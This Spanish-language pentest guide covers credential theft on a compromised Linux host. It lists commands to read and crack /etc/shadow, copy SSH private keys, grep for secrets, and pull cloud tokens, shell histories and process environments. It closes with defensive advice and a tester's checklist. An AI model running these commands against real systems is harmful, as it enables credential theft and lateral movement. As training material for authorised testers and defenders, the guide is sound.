Robo de credenciales en Linux
Tras comprometer un host Linux, cosechar credenciales es lo que te permite escalar, moverte a otros sistemas y persistir. Linux guarda secretos en muchos sitios: hashes de contraseñas, claves SSH, tokens de aplicaciones, credenciales de cloud, historiales de comandos y configuraciones. Un host rara vez vive aislado: las credenciales que encuentras aquí suelen abrir el siguiente sistema.
Hashes de contraseñas del sistema
Sección titulada «Hashes de contraseñas del sistema»# si eres root (o tienes cap_dac_read_search / SeBackup equivalente)cat /etc/shadow # hashes de contraseñas de usuarioscat /etc/passwd # usuarios (combinar con shadow -> unshadow -> crackear)unshadow /etc/passwd /etc/shadow > hashes.txthashcat -m 1800 hashes.txt rockyou.txt # $6$ = sha512cryptjohn hashes.txt --wordlist=rockyou.txtLos formatos: $1$ MD5crypt, $5$ sha256, $6$ sha512, $y$/$2$ yescrypt/bcrypt. Crackeables offline según la fortaleza.
Claves SSH (movimiento lateral)
Sección titulada «Claves SSH (movimiento lateral)»# claves privadas del usuario -> acceso a otros hostscat ~/.ssh/id_rsa ~/.ssh/id_ed25519 2>/dev/nullcat ~/.ssh/config # a qué hosts se conecta y cómocat ~/.ssh/known_hosts # hosts conocidos (objetivos)cat ~/.ssh/authorized_keys # quién puede entrar (persistencia)# buscar claves por todo el sistemafind / -name "id_rsa*" -o -name "*.pem" 2>/dev/nullUna clave SSH privada sin passphrase es acceso directo a cada host en el que esté autorizada.
Credenciales en ficheros y configs
Sección titulada «Credenciales en ficheros y configs»# búsqueda masivagrep -rniE 'password|passwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null# ubicaciones típicas/var/www/**/wp-config.php, config.php, .env # webapps (DB creds)~/.aws/credentials, ~/.config/gcloud, ~/.kube/config # cloud/k8s~/.netrc, ~/.git-credentials, ~/.pgpass, ~/.my.cnf # servicios/etc/fstab # credenciales de montajes (CIFS)docker: variables de entorno, docker inspectHistoriales y memoria
Sección titulada «Historiales y memoria»cat ~/.bash_history ~/.zsh_history # comandos previos (¡a veces contraseñas en claro!)history# credenciales en memoria de procesos (con privilegios)strings /proc/<pid>/environ # variables de entorno de un proceso# MySQL/psql/redis historycat ~/.mysql_history ~/.psql_history ~/.rediscli_historyEl .bash_history es un clásico: mysql -u root -pSuperSecret123 queda registrado.
Credenciales de servicios y aplicaciones
Sección titulada «Credenciales de servicios y aplicaciones»# bases de datos/etc/mysql/, config de postgres, mongod.conf# gestores de contraseñas / keyrings (si hay sesión)~/.config/keepassxc, gnome-keyring, ~/.password-store (pass)# tokens de apps y CI/CD.env de aplicaciones, Jenkins/GitLab runners, variables de pipelinesHerramientas
Sección titulada «Herramientas»linpeas.sh # marca credenciales encontradas automáticamenteLinEnum.sh# crackeohashcat / john # /etc/shadow, hashes de apps# claves SSH con passphrasessh2john id_rsa > hash ; john hashPara la defensa
Sección titulada «Para la defensa»- Sin credenciales en texto plano: usar gestores de secretos (Vault, secrets de k8s), permisos 600, nunca en
.bash_history(HISTIGNORE, pasar por fichero/prompt). - Claves SSH con passphrase y rotación;
authorized_keysauditado; ssh-agent con caducidad. - Hashes fuertes (sha512/yescrypt) y contraseñas robustas (frena el crackeo offline).
- Mínimo privilegio: que un usuario comprometido no pueda leer
/etc/shadowni secretos de otros servicios. - Monitorizar acceso a ficheros sensibles (auditd) y reutilización de credenciales entre hosts.
Checklist de prueba
Sección titulada «Checklist de prueba»- /etc/shadow + /etc/passwd → unshadow → crackear
- Claves SSH privadas y config/known_hosts (lateral)
- grep masivo de credenciales en /etc, /var/www, /home, /opt
- Credenciales de cloud/k8s (.aws, .kube, gcloud)
- Historiales (.bash_history, .mysql_history)
- Variables de entorno de procesos (/proc/pid/environ)
- Configs de apps/DB con credenciales
- Reutilizar lo encontrado hacia otros hosts/usuarios